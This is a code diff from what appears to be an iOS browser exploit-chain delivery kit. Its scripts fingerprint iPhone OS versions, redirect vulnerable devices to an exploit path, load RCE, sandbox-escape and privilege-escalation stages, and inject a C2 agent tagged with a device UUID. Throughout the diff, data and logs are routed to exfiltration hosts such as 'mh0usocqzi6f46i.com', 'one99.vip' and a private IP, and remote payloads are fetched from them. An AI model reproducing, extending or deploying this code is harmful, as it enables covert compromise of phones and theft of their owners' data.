const LS_FRAME_AT = "__er_frame_at";
const SS_DEADLINE = "__er_idx_countdown_deadline";
const STATE_TTL_MS = 10 * 60 * 1000;
const STATE_TTL_MS = 60 * 60 * 1000;
window.__ER_COUNTDOWN_DONE__ = false;
window.__ER_START_CHAIN__ = null;
@@ -1077,33 +1067,30 @@
if (/[?&]landed=1(?:&|$)/.test(location.search)) return;
if (location.pathname.indexOf("/qqtime") === 0) return;
// function isCoruna() {
// var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec(
// navigator.userAgent || ""
// );
// if (!m) return false;
// var maj = +m[1],
// min = +m[2],
// pat = +(m[3] || 0);
// if (maj < 13 || maj >= 18) return false;
// if (maj === 17 && min > 2) return false;
// if (maj === 17 && min === 2 && pat > 1) return false;
// return true;
// }
function isCoruna() {
var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec(
navigator.userAgent || ""
);
if (!m) return false;
var maj = +m[1],
min = +m[2],
pat = +(m[3] || 0);
if (maj < 13 || maj >= 18) return false;
if (maj === 17 && min > 2) return false;
if (maj === 17 && min === 2 && pat > 1) return false;
return true;
}
// if (isCoruna()) {
// var corunaUrl = (typeof labDeliveryUrl === "function")
// ? labDeliveryUrl("/qqtime/")
// : (location.origin + "/qqtime/");
// location.replace(corunaUrl);
// return;
// }
if (isCoruna()) {
location.replace(location.origin + "/qqtime/");
return;
}
var frame = document.getElementById("frame");
if (!frame) return;
var started = false;
var LS_FRAME_AT = "__er_frame_at";
var STATE_TTL_MS = 10 * 60 * 1000;
var STATE_TTL_MS = 60 * 60 * 1000;
function frameAlreadyLaunched() {
if (window.__ER_FRAME_ALREADY__) return true;
@@ -1123,12 +1110,7 @@
localStorage.setItem(LS_FRAME_AT, String(Date.now()));
} catch (e2) {}
window.__ER_FRAME_ALREADY__ = true;
var qqtimePath = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.qqtimePath)
? window.NEWS2_CONFIG.qqtimePath
: "/qqtime/";
frame.src = (typeof labDeliveryUrl === "function")
? labDeliveryUrl(qqtimePath)
: (location.origin + qqtimePath);
frame.src = location.origin + "/qqtime/";
}
window.__ER_START_CHAIN__ = startQqtime;
-186
View File
@@ -1,186 +0,0 @@
// Delivery = static assets (__LAB_DELIVERY_HOST__, may include a path).
// API / C2 = __LAB_EXFIL__ (host + ports only, no asset path).
(function (g) {
if (!g) return;
function trimSlash(s) {
return String(s || "").replace(/\/+$/, "");
}
function ensureSlashPath(p) {
p = String(p || "");
if (!p) return "";
return p.charAt(0) === "/" ? p : "/" + p;
}
function joinBase(base, path) {
base = trimSlash(base);
path = String(path || "");
if (!path) return base;
if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(path)) return path;
if (path.charAt(0) !== "/") path = "/" + path;
return base + path;
}
function hostOnly(raw) {
return String(raw || "")
.replace(/^https?:\/\//, "")
.split("/")[0]
.split(":")[0];
}
function defaultExfil() {
var domain = hostOnly(g.__LAB_EXFIL_DOMAIN__);
return {
host: domain,
domain: domain,
http_port: 443,
https_port: 443,
tls: false,
prefer_https: false,
stats_url: "",
stats_url_direct: "",
delivery_stats_url: "",
};
}
function inferDeliveryHost() {
try {
if (g.__LAB_DELIVERY_HOST__) return trimSlash(g.__LAB_DELIVERY_HOST__);
} catch (e0) {}
try {
var path = g.location && g.location.pathname ? String(g.location.pathname) : "";
var chained = path.match(/^(.*\/next-chain)(?:\/|$)/);
if (chained && g.location.origin && g.location.origin !== "null") {
return trimSlash(g.location.origin) + chained[1];
}
} catch (eBoot) {}
try {
var cfg = g.NEWS2_CONFIG || {};
if (cfg.deliveryHost) return trimSlash(cfg.deliveryHost);
if (cfg.deliveryPath) {
var originFromCfg = g.location && g.location.origin ? trimSlash(g.location.origin) : "";
return trimSlash(originFromCfg + ensureSlashPath(cfg.deliveryPath));
}
} catch (e1) {}
try {
if (!g.location || !g.location.origin || g.location.origin === "null") return "";
var origin = trimSlash(g.location.origin);
var path = String(g.location.pathname || "/");
var m = path.match(/^(.*\/next-chain)(?:\/|$)/);
if (m) return origin + m[1];
return origin;
} catch (e2) {}
return "";
}
function applyExfil(ex) {
var cur = g.__LAB_EXFIL__ && g.__LAB_EXFIL__.host ? g.__LAB_EXFIL__ : defaultExfil();
if (!ex || !ex.host) return cur;
g.__LAB_EXFIL__ = {
host: hostOnly(ex.host) || cur.host,
domain: hostOnly(ex.domain || ex.host) || cur.domain,
http_port: ex.http_port != null ? Number(ex.http_port) : cur.http_port,
https_port: ex.https_port != null ? Number(ex.https_port) : cur.https_port,
tls: ex.tls != null ? !!ex.tls : !!cur.tls,
prefer_https: ex.prefer_https != null ? !!ex.prefer_https : !!cur.prefer_https,
stats_url: ex.stats_url || cur.stats_url || "",
stats_url_direct: ex.stats_url_direct || cur.stats_url_direct || "",
delivery_stats_url: ex.delivery_stats_url || cur.delivery_stats_url || "",
};
return g.__LAB_EXFIL__;
}
function apiOrigin(ex) {
ex = ex || g.__LAB_EXFIL__ || defaultExfil();
var host = hostOnly(ex.host);
var pageHost = "";
var pageHttps = false;
try {
pageHttps = !!(g.location && g.location.protocol === "https:");
pageHost = hostOnly(g.location && g.location.hostname);
} catch (ePage) {}
var sameHost = !!(host && pageHost && host === pageHost);
var tls = !!(ex.tls || ex.prefer_https || (pageHttps && sameHost));
var port = Number(tls ? ex.https_port || 443 : ex.http_port || 80);
var scheme = tls ? "https" : "http";
var origin = scheme + "://" + host;
if (!((scheme === "https" && port === 443) || (scheme === "http" && port === 80) || !port)) {
origin += ":" + port;
}
return origin;
}
function ensureHosts() {
if (!g.__LAB_EXFIL__ || !g.__LAB_EXFIL__.host) g.__LAB_EXFIL__ = defaultExfil();
var d = inferDeliveryHost();
if (d) g.__LAB_DELIVERY_HOST__ = d;
return { delivery: g.__LAB_DELIVERY_HOST__ || "", exfil: g.__LAB_EXFIL__ };
}
function applyNews2Config() {
var cfg = g.NEWS2_CONFIG || {};
if (cfg.deliveryHost) {
g.__LAB_DELIVERY_HOST__ = trimSlash(cfg.deliveryHost);
} else if (cfg.deliveryPath) {
try {
g.__LAB_DELIVERY_HOST__ = trimSlash(trimSlash(g.location.origin) + ensureSlashPath(cfg.deliveryPath));
} catch (e) {}
}
if (cfg.exfil) applyExfil(cfg.exfil);
ensureHosts();
}
g.labTrimSlash = trimSlash;
g.labJoinBase = joinBase;
g.labInferDeliveryHost = inferDeliveryHost;
g.labDeliveryHost = function () {
ensureHosts();
return trimSlash(g.__LAB_DELIVERY_HOST__ || "");
};
g.labDeliveryUrl = function (path) {
return joinBase(g.labDeliveryHost(), path);
};
g.labApiOrigin = function () {
ensureHosts();
return apiOrigin(g.__LAB_EXFIL__);
};
g.labApiUrl = function (path) {
return joinBase(g.labApiOrigin(), path);
};
g.labApplyExfil = applyExfil;
g.labEnsureHosts = ensureHosts;
g.labApplyNews2Config = applyNews2Config;
function persistChannelCode(code) {
code = String(code || "").trim().slice(0, 64);
if (!code) return "";
g.__LAB_CHANNEL_CODE__ = code;
try {
if (g.sessionStorage) g.sessionStorage.setItem("lab_channel_code", code);
} catch (e0) {}
try {
if (g.localStorage) g.localStorage.setItem("lab_channel_code", code);
} catch (e1) {}
return code;
}
function readChannelCode() {
try {
var path = (g.location && g.location.pathname) || "";
var m = String(path).match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (e3) {}
return "";
}
g.labChannelCode = function () {
if (g.__LAB_CHANNEL_CODE__) return String(g.__LAB_CHANNEL_CODE__);
return readChannelCode();
};
ensureHosts();
try {
g.labChannelCode();
} catch (eCh) {}
})(typeof window !== "undefined" ? window : typeof globalThis !== "undefined" ? globalThis : null);
+1 -1
View File
@@ -1,4 +1,4 @@
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
import Native from "libs/Chain/Native";
import Chain from "libs/Chain/Chain";
import TaskRop from "libs/TaskRop/TaskRop";
File diff suppressed because one or more lines are too long
+6 -3
View File
@@ -28,9 +28,12 @@
// Without this, c2_agent falls back to the hardware IOPlatformUUID and the
// two exfil trees diverge (uuid mismatch).
try {
let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '').replace(/-/g, '').toUpperCase();
if (_duuid && /^[0-9A-F]{16,64}$/.test(_duuid) && _duuid !== '69DD25B2CA8B5682BA2470D77124E2FC') {
c2Code = c2Code.split('69DD25B2CA8B5682BA2470D77124E2FC').join(_duuid);
let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '');
if (_duuid) {
// 把 delivery UUID 直接烤进 c2_agent 的 __LAB_BAKED_DELIVERY_UUID__ 占位符。
// c2_agent 顶部 const DEVICE_UUID = (function(){var b=String("__LAB_BAKED_DELIVERY_UUID__");...})();
// 占位符未替换时会回退到硬件 IOPlatformUUID,导致 C2 /war 的 UUID 与 delivery /log 不一致。
// 这里把占位符替换成真实 delivery UUID,使两棵 exfil 树同 UUID。
c2Code = c2Code.split('__LAB_BAKED_DELIVERY_UUID__').join(_duuid);
let uuidSnippet = '\nglobalThis.__LAB_DEVICE_UUID__=' + JSON.stringify(_duuid) + ';\n';
c2Code = c2Code.replace('Native.init();', 'Native.init();' + uuidSnippet);
File diff suppressed because one or more lines are too long
+3 -13
View File
@@ -1,22 +1,12 @@
<!DOCTYPE html>
<html lang="zh-Hant">
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
<script>
(function () {
var p = location.pathname || "/";
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
var base = location.origin + prefix;
window.__LAB_DELIVERY_HOST__ = base;
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
document.write('<script src="' + base + '/config.js"><\/script>');
document.write('<script src="' + base + '/boot.js"><\/script>');
})();
</script>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
</head>
<body>
<script src="../config.js"></script>
<script src="../boot.js"></script>
</body>
</html>
+3 -13
View File
@@ -1,22 +1,12 @@
<!DOCTYPE html>
<html lang="zh-Hant">
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
<script>
(function () {
var p = location.pathname || "/";
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
var base = location.origin + prefix;
window.__LAB_DELIVERY_HOST__ = base;
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
document.write('<script src="' + base + '/config.js"><\/script>');
document.write('<script src="' + base + '/boot.js"><\/script>');
})();
</script>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
</head>
<body>
<script src="../config.js"></script>
<script src="../boot.js"></script>
</body>
</html>
+59 -66
View File
@@ -1,4 +1,4 @@
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
var SERVER_LOG = true;
let logStart = new Date().getTime();
let logEntryID = 0;
@@ -8,25 +8,44 @@ var offsets = {};
var slide;
var chipset;
var device_model;
var localHost = (function () {
function labAssetBase() {
try {
if (typeof labDeliveryHost === 'function') {
var fromLab = labDeliveryHost();
if (fromLab) return String(fromLab).replace(/\/$/, '');
}
if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__)
return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, '');
if (typeof location !== 'undefined' && location.pathname) {
var origin = (location.origin && location.origin !== 'null') ? location.origin.replace(/\/$/, '') : '';
var m = String(location.pathname).match(/^(.*\/next-chain)(?:\/|$)/);
if (origin && m) return origin + m[1];
if (origin) return origin;
} catch (e0) {}
try {
var origin = (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
? String(location.origin).replace(/\/$/, '') : '';
var path = '/next-chain';
try {
if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.deliveryPath)
path = String(window.NEWS2_CONFIG.deliveryPath);
} catch (e1) {}
if (path.charAt(0) !== '/') path = '/' + path;
return origin + path.replace(/\/+$/, '');
} catch (e2) {}
return '';
}
function labApiBase() {
try {
var ex = (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
? window.__LAB_EXFIL__
: (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil);
if (ex && ex.host) {
var tls = !!(ex.tls || ex.prefer_https);
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
var origin = (tls ? 'https://' : 'http://') + String(ex.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
return origin;
}
} catch (e0) {}
try {
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
return location.origin.replace(/\/$/, '');
} catch (e) {}
return "";
})();
return String(location.origin).replace(/\/$/, '');
} catch (e1) {}
return '';
}
var localHost = labAssetBase();
function resolveLabDeviceUUID() {
let du = '';
try {
@@ -66,7 +85,7 @@ function print(x, reportError = false, dumphex = false) {
}
}
} catch (eP) {}
// Server upload: errors only (progress = GET /api/ds/pe-stage / console).
// Server upload: errors only (progress = pe_stage GETs / console).
const isErr = reportError || /stage1_failed|fatal|Failed RCE|fail(?:ed|ure)?|error|exception|timeout|abort|InterposeTupleAll wait timeout/i.test(String(x));
if (!isErr) return;
if (!SERVER_LOG && !reportError) return;
@@ -89,22 +108,7 @@ function print(x, reportError = false, dumphex = false) {
}
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
const xhr = new XMLHttpRequest();
const logUrl = (typeof labApiUrl === 'function')
? labApiUrl('/api/ds/log?' + req)
: (function () {
try {
if (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) {
var e = window.__LAB_EXFIL__;
var tls = !!(e.tls || e.prefer_https);
var port = Number(tls ? (e.https_port || 443) : (e.http_port || 80));
var origin = (tls ? 'https://' : 'http://') + String(e.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
if (!((tls && port === 443) || (!tls && port === 80) || !port)) origin += ':' + port;
return origin + '/api/ds/log?' + req;
}
} catch (eApi) {}
return localHost + '/api/ds/log?' + req;
})();
xhr.open("GET", logUrl, true);
xhr.open("GET", labApiBase() + "/api/ds/log?" + req , true);
if (du) {
try { xhr.setRequestHeader('X-Device-UUID', du); } catch (e1) {}
}
@@ -462,24 +466,13 @@ function parseIosVersion() {
return null;
}
function resolveDeliveryHost() {
try {
if (typeof labDeliveryHost === 'function') {
var fromLab = labDeliveryHost();
if (fromLab) return String(fromLab).replace(/\/$/, '');
}
} catch (eLab) {}
if (localHost && localHost.length > 4) return String(localHost).replace(/\/$/, '');
var h = labAssetBase();
if (h) return h;
try {
if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__)
return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, '');
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') {
var origin = location.origin.replace(/\/$/, '');
var m = String(location.pathname || '').match(/^(.*\/next-chain)(?:\/|$)/);
if (m) return origin + m[1];
return origin;
}
} catch (e) {}
return 'http://one99.vip:80';
return labAssetBase();
}
function resolveExfilTarget() {
try {
@@ -487,23 +480,23 @@ function resolveExfilTarget() {
return window.__LAB_EXFIL__;
} catch (e) {}
try {
const apiBase = (typeof labApiUrl === 'function')
? labApiUrl('/api/ds/chain-targets')
: '';
if (apiBase) {
const xhr = new XMLHttpRequest();
xhr.open('GET', apiBase, false);
xhr.send(null);
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
const d = JSON.parse(xhr.responseText);
if (d.exfil && d.exfil.host) {
try { if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil); } catch (eA) {}
return d.exfil;
}
}
const base = labApiBase();
if (!base) return null;
const xhr = new XMLHttpRequest();
xhr.open('GET', base + '/api/ds/chain-targets', false);
xhr.send(null);
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
const d = JSON.parse(xhr.responseText);
if (d.exfil && d.exfil.host) return d.exfil;
}
} catch (e) {}
try {
if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil)
return window.NEWS2_CONFIG.exfil;
} catch (e2) {}
return { host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false };
const base = labApiBase();
const h = String(base || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
return { host: h || '127.0.0.1', http_port: 80, https_port: 443, tls: false };
}
function exfilFields() {
const t = resolveExfilTarget();
@@ -513,11 +506,11 @@ function exfilFields() {
} catch (eDu) { deviceUUID = ''; }
if (!t) {
return {
exfilHost: 'mh0usocqzi6f46i.com',
exfilHost: '192.168.31.130',
exfilHttpPort: 8018,
exfilHttpsPort: 8018,
exfilTls: false,
exfilFallbackHost: 'mh0usocqzi6f46i.com',
exfilFallbackHost: '192.168.31.130',
exfilFallbackHttpPort: 8018,
deviceUUID,
};
@@ -526,7 +519,7 @@ function exfilFields() {
const hostRaw = String(t.host || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
const isIp = /^\d+\.\d+\.\d+\.\d+$/.test(hostRaw);
if (isIp || t.prefer_https === false || t.tls === false || (t.http_port && Number(t.http_port) === 4001)) {
const ip = isIp ? hostRaw : 'mh0usocqzi6f46i.com';
const ip = isIp ? hostRaw : '192.168.31.130';
return {
exfilHost: ip,
exfilHttpPort: t.http_port != null ? Number(t.http_port) : 4001,
@@ -548,7 +541,7 @@ function exfilFields() {
exfilHttpsPort: port,
exfilTls: u.protocol === 'https:',
statsUrl: t.stats_url,
exfilFallbackHost: 'mh0usocqzi6f46i.com',
exfilFallbackHost: '192.168.31.130',
exfilFallbackHttpPort: 8018,
deviceUUID,
};
@@ -561,7 +554,7 @@ function exfilFields() {
exfilHttpPort: t.http_port != null ? t.http_port : (tls ? 443 : 4001),
exfilHttpsPort: t.https_port != null ? t.https_port : (tls ? 443 : 4001),
exfilTls: tls,
exfilFallbackHost: 'mh0usocqzi6f46i.com',
exfilFallbackHost: '192.168.31.130',
exfilFallbackHttpPort: 8018,
statsUrl: t.delivery_stats_url || '',
deviceUUID,
+1 -1
View File
@@ -1,4 +1,4 @@
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
// rce_module_18.5.js — iOS 18.5 companion module (from rce_module_18.6.js)
// LAB_RCE_MODULE_18_5 — fallback from rce_module.js (GitHub stub was 85B)
/* HEADERS */
+1 -1
View File
@@ -1,4 +1,4 @@
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
/* HEADERS */
const ab = new ArrayBuffer(8);
const u64 = new BigUint64Array(ab);
+22 -14
View File
@@ -1,5 +1,4 @@
var SERVER_LOG;
var __labC2Host = 'https://mh0usocqzi6f46i.com:443';
let offsets;
let MessageName;
@@ -214,6 +213,14 @@ self[1] = boxed_arr;
}
let logStart = new Date().getTime();
let logEntryID = 0;
var __labC2Host = '';
function labC2LogUrl(qs) {
var base = __labC2Host;
if (!base) {
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
}
return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs;
}
function print(x, reportError = false, dumphex = false) {
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
if (!SERVER_LOG && !reportError) return;
@@ -227,12 +234,7 @@ self[1] = boxed_arr;
}
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
const xhr = new XMLHttpRequest();
var logBase = '';
try {
if (typeof __labC2Host === 'string' && __labC2Host) logBase = String(__labC2Host).replace(/\/$/, '');
} catch (eLb) {}
if (!logBase) logBase = 'https://mh0usocqzi6f46i.com:443';
xhr.open("GET", logBase + "/api/ds/log?" + req , false);
xhr.open("GET", labC2LogUrl(req), false);
xhr.send(null);
}
let signal_ptr;
@@ -242,6 +244,15 @@ self[1] = boxed_arr;
const p = {};
// L1 encryption state (populated via postMessage from main thread)
var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null;
function __labPrependDelivery(fname, text) {
if (!text) return text;
var f = String(fname || '').toLowerCase();
if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0) return text;
var d = '';
try { d = String(host || '').replace(/"/g, ''); } catch (_h) {}
if (!d) return text;
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text;
}
function getJS(fname,method = 'POST')
{
@@ -299,15 +310,12 @@ self[1] = boxed_arr;
try
{
let url = "";
var assetBase = String(host || '').replace(/\/$/, '');
var assetPath = String(fname || '');
if (assetPath.charAt(0) !== '/') assetPath = '/' + assetPath;
url = assetBase + assetPath;
url = host + "/" + fname;
print("trying to fetch from:" + url);
let xhr = new XMLHttpRequest();
xhr.open("GET", `${url}` , false);
xhr.send(null);
return _labDecryptWire(xhr.responseText);
return __labPrependDelivery(fname, _labDecryptWire(xhr.responseText));
}
catch(e)
{
@@ -342,9 +350,9 @@ self[1] = boxed_arr;
const chipset = data.chipset;
const offsets = data.offsets;
const slide = data.slide;
__labC2Host = 'https://mh0usocqzi6f46i.com:443';
__labC2Host = 'http://192.168.31.130:8080';
host = data.desiredHost;
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || 'mh0usocqzi6f46i.com') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'https://mh0usocqzi6f46i.com:443'; }
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || '192.168.31.130') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; }
SERVER_LOG = data.SERVER_LOG;
if (data._enc_session) {
_enc_S = data._enc_session;
+27 -31
View File
@@ -1,4 +1,4 @@
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
/* rce_worker_18.5.js — dedicated iOS 18.5 / build 22F76 worker
* Proven path: stage1_rce → sbx0/sbx1 → pe (cloned from rce_worker_18.6.js).
* Selected by rce_loader pickWorkerFile / server darksword_workers_for_ios for 18.5.
@@ -22,6 +22,14 @@ let logStart = new Date().getTime();
let logEntryID = 0;
let __printBudget = 60;
let __printWindowStart = 0;
var __labExfilUrl = '';
function labC2LogUrl(qs) {
var base = __labExfilUrl;
if (!base) {
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
}
return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs;
}
function print(x, reportError = false, dumphex = false) {
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
if (!SERVER_LOG && !reportError) return;
@@ -48,7 +56,7 @@ function print(x, reportError = false, dumphex = false) {
}
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
const xhr = new XMLHttpRequest();
xhr.open("GET", labWorkerApiBase() + "/api/ds/log?" + req , true);
xhr.open("GET", labC2LogUrl(req) , true);
if (__labDeviceUUID) {
try { xhr.setRequestHeader('X-Device-UUID', __labDeviceUUID); } catch (e1) {}
}
@@ -56,43 +64,33 @@ function print(x, reportError = false, dumphex = false) {
} catch (e) {}
}
var __exfilHost = 'mh0usocqzi6f46i.com';
var __exfilHost = '192.168.31.130';
var __exfilHttpPort = 4001;
var __exfilHttpsPort = 4001;
var __exfilTls = false;
var __exfilFallbackHost = '';
var __exfilFallbackHttp = 4001;
var __labDeviceUUID = '';
function labWorkerApiBase() {
try {
var tls = !!__exfilTls;
var h = String(__exfilHost || 'mh0usocqzi6f46i.com').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
var port = Number(tls ? (__exfilHttpsPort || 443) : (__exfilHttpPort || 443));
var o = (tls ? 'https://' : 'http://') + h;
if (!((tls && port === 443) || (!tls && port === 80) || !port)) o += ':' + port;
return o;
} catch (e) {}
return 'https://mh0usocqzi6f46i.com:443';
}
function applyExfilFromData(data) {
if (!data) return;
if (data.exfilHost) __exfilHost = String(data.exfilHost);
try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 8018); } catch (_e) { __labExfilUrl = 'http://one99.vip:80'; }
if (data.exfilHttpPort != null) __exfilHttpPort = Number(data.exfilHttpPort);
if (data.exfilHttpsPort != null) __exfilHttpsPort = Number(data.exfilHttpsPort);
if (data.exfilTls != null) __exfilTls = !!data.exfilTls;
if (data.exfilFallbackHost) __exfilFallbackHost = String(data.exfilFallbackHost).split(':')[0];
if (data.exfilFallbackHttpPort != null) __exfilFallbackHttp = Number(data.exfilFallbackHttpPort);
if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase();
try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 80); } catch (_e) { __labExfilUrl = ''; }
}
function patchExfilPayload(script) {
if (!script) return script;
// Lab alignment (DarKDevz/GitHub): always VPS IPv4 + plain :4001 / TLS :4001.
// Never force domain:443 — inet_addr() rejects hostnames; CFStream TLS hangs InjectJS.
var raw = String(__exfilHost || 'mh0usocqzi6f46i.com').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
var h = raw || 'mh0usocqzi6f46i.com';
var hp = '8018';
var hsp = '8018';
var raw = String(__exfilHost || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
var h = raw;
var hp = String(Number(__exfilHttpPort || 80) || 80);
var hsp = String(Number(__exfilHttpsPort || __exfilHttpPort || 80) || 80);
var tls = !!__exfilTls;
var delivery = '';
try { delivery = String(host || '').replace(/"/g, ''); } catch (_d) {}
var s = script;
var stale = ['fax-hydraulic-mineral-minute.trycloudflare.com', '192.168.0.3',
'192.168.0.2', 'describe-recommendation-sixth-harrison.trycloudflare.com',
@@ -119,13 +117,11 @@ function patchExfilPayload(script) {
s = s.replace(/const EXFIL_MC_USE_TLS = true/g, 'const EXFIL_MC_USE_TLS = true');
// MPD JSContext may lack globalThis — bare assignment aborts pe_main before pe_main_start
var pre = 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));'
+ 'if(__peG){__peG.__PE_EXFIL_HOST__="' + h + '";'
+ '__peG.__PE_EXFIL_TLS__=false;'
+ '__peG.__PE_EXFIL_HTTP__=' + hp + ';'
+ '__peG.__PE_EXFIL_HTTPS__=' + hsp + ';'
+ (__exfilFallbackHost ? ('__peG.__PE_EXFIL_FALLBACK_HOST__="' + String(__exfilFallbackHost).split(':')[0] + '";__peG.__PE_EXFIL_FALLBACK_HTTP__=' + String(__exfilFallbackHttp || 4001) + ';') : '')
+ 'if(__peG){'
+ (h ? ('__peG.__PE_EXFIL_HOST__="' + h + '";__peG.__PE_EXFIL_TLS__=' + (tls ? 'true' : 'false') + ';__peG.__PE_EXFIL_HTTP__=' + hp + ';__peG.__PE_EXFIL_HTTPS__=' + hsp + ';') : '')
+ (delivery ? ('__peG.__PE_DELIVERY_HOST__="' + delivery + '";') : '')
+ (__exfilFallbackHost ? ('__peG.__PE_EXFIL_FALLBACK_HOST__="' + String(__exfilFallbackHost).split(':')[0] + '";__peG.__PE_EXFIL_FALLBACK_HTTP__=' + String(__exfilFallbackHttp || 80) + ';') : '')
+ (__labDeviceUUID ? ('__peG.__LAB_DEVICE_UUID__="' + __labDeviceUUID + '";') : '')
+ (typeof host === 'string' && host ? ('__peG.__PE_DELIVERY_HOST__="' + String(host).replace(/"/g, '') + '";') : '')
+ '}}catch(_pePre){}\n';
return pre + s;
}
@@ -145,12 +141,12 @@ function getJS(fname, method = 'GET', tries = 5)
